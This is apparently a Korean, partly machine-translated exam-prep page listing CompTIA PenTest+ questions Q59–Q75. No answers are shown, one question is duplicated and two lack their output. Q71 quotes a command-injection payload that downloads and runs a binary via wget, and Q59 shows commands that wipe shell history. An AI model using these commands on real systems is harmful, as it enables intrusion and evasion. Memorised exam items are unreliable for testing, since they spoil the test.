실제 CompTIA PT0-002 시험 문제 무료 확인 (2022) [Q59-Q75] [Q59-Q75]

NO.59 모의 침투 테스터는 시스템에 액세스하여 지속성을 설정한 다음 다음 명령을 실행합니다:
cat /dev/null > temp
터치 -r .bash_history temp
mv temp .bash_history
다음 중 테스터가 수행했을 가능성이 가장 높은 작업은 무엇인가요?

NO.60 침투 테스터는 고객과 소통하기 전에 다음 SOW를 검토합니다:
"네트워크 다이어그램, 논리적 및 물리적 자산 인벤토리, 직원의 이름은 고객 기밀로 취급되어야 합니다. 모의 침투 테스트가 완료되면 모의 침투 테스터는 암호화된 프로토콜을 통해 고객의 최고 정보 보안 책임자(CISO)에게 결과를 제출하고 이후 모든 결과를 안전한 방식으로 삭제하여 폐기합니다." SOW의 정보에 근거하여 다음 중 비윤리적인 행동으로 간주되는 것은 무엇인가요?
(두 가지를 선택합니다.)

NO.61 한 회사가 클라우드 서비스 제공업체가 소프트웨어 개발을 위한 가상 머신을 적절히 보호하지 못하고 있다고 우려하고 있습니다. 이 VM은 물리적 리소스를 공유하는 다른 회사들과 함께 데이터 센터에 보관되어 있습니다. 다음 중 이 회사가 가장 우려하는 공격 유형은 무엇인가요?

NO.62 모의 침투 테스터가 SSHD가 실행 중인 Linux 서버에서 실행을 얻기 위해 활용할 수 있는 CVE를 식별하려고 합니다. 다음 중 이 작업을 가장 잘 지원하는 것은 무엇인가요?

NO.63 다음과 같은 출력이 주어집니다:
사용자 에이전트:*
허용하지 않습니다: /author/
허용하지 않습니다: /xmlrpc.php
허용하지 않습니다: /wp-admin
허용하지 않습니다: /page/
다음 중 이 결과물을 얻을 가능성이 가장 높은 활동은 무엇인가요?

NO.64 모의 침투 테스터가 표적과 FTP 프로토콜이 있는 서버 사이에 온패스 공격으로 워크스테이션을 배포하여 FTP 자격 증명을 얻고자 합니다. 다음 중 이 목적을 달성하는 데 가장 적합한 방법은 무엇인가요?

NO.65 모의 침투 테스터가 클라이언트의 중요 서버에 대한 취약점 스캔을 수행한 결과 다음과 같은 사실을 발견했습니다:

다음 중 문제 해결을 위한 권장 사항은 무엇인가요?

NO.66 한 회사가 클라우드 서비스 제공업체로부터 취약점 스캔에 대한 허가를 받았으며 이제 호스팅된 데이터의 보안을 테스트하려고 합니다.
테스터는 이 위험을 평가하기 위해 다음 중 가장 먼저 확인해야 하는 것은 무엇인가요?

NO.67 모의 침투 테스터가 회사의 클라우드 환경에서 사용자로 로그인합니다. 다음 중 테스터가 기존 사용자의 액세스 수준을 확인할 수 있는 Pacu 모듈은 무엇인가요?

NO.68 침투 테스터가 Linux 기반 파일 서버에 대한 루트 액세스 권한을 얻었으며 재부팅 후에도 지속성을 유지하고자 합니다. 다음 중 이 목표를 가장 잘 지원하는 기술은 무엇인가요?

NO.69 무선 보안을 검토하기 위해 모의 침투 테스터와 계약을 맺었습니다. 테스터는 대상 기업 Wi-Fi의 구성을 모방한 악성 무선 AP를 배포했습니다. 이제 모의 침투 테스터는 근처의 무선 스테이션이 악성 AP에 강제로 연결되도록 시도하려고 합니다. 다음 중 테스터가 수행해야 할 다음 단계는 무엇인가요?

NO.70 침투 테스터는 고객과 소통하기 전에 다음 SOW를 검토합니다:
"네트워크 다이어그램, 논리적 및 물리적 자산 인벤토리, 직원의 이름은 고객 기밀로 취급되어야 합니다. 모의 침투 테스트가 완료되면 모의 침투 테스터는 암호화된 프로토콜을 통해 고객의 최고 정보 보안 책임자(CISO)에게 결과를 제출하고 이후 모든 결과를 안전한 방식으로 삭제하여 폐기합니다."
SOW의 정보에 따르면 다음 중 비윤리적인 행동으로 간주되는 것은 무엇입니까? (두 가지를 선택하세요.)

NO.71 침투 테스터는 익스플로잇을 사용하여 시스템에 액세스할 수 있었습니다. 다음은 사용된 코드의 스니펫입니다:
익스플로잇 = "POST"
exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –
c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache’%0A%27&loginUser=a&Pwd=a”
익스플로잇 += "HTTP/1.1"
침투 테스터가 참여 후 실행해야 하는 명령은 다음 중 어느 것인가요?

NO.72 귀하는 서버에서 포트 스캔을 실행하는 모의 침투 테스터입니다.
지침
파트 1: 1부: 출력이 주어지면 사용 가능한 옵션에서 이 출력을 생성하는 데 사용된 명령을 작성합니다.
2단계: 명령이 적절하게 구성되면 주어진 출력을 사용하여 추가로 조사해야 할 잠재적 공격 경로를 식별합니다.
언제든지 시뮬레이션의 초기 상태로 되돌리려면 모두 초기화 버튼을 클릭하세요.

NO.73 모의 침투 테스터가 Windows 서버에서 다음 명령을 실행했습니다:

테스터는 최종 보고서를 제출한 후 다음 중 어떤 작업을 수행해야 하나요?

NO.74 침투 테스터는 192.168.1.0/24 범위의 일련의 표적을 공격하여 가능한 한 적은 경보와 대응 조치를 트리거하는 임무를 부여받았습니다.
다음 중 이 목적을 가장 잘 달성할 수 있는 Nmap 스캔 구문은 무엇인가요?

NO.75 웹 애플리케이션 테스트를 수행 중인 모의 침투 테스터가 금융 데이터 로그인 페이지와 관련된 클릭재킹 취약점을 발견했습니다. 이 정보를 성공적으로 익스플로잇하기 위해 테스터가 이 정보로 해야 할 일은 다음 중 어느 것입니까?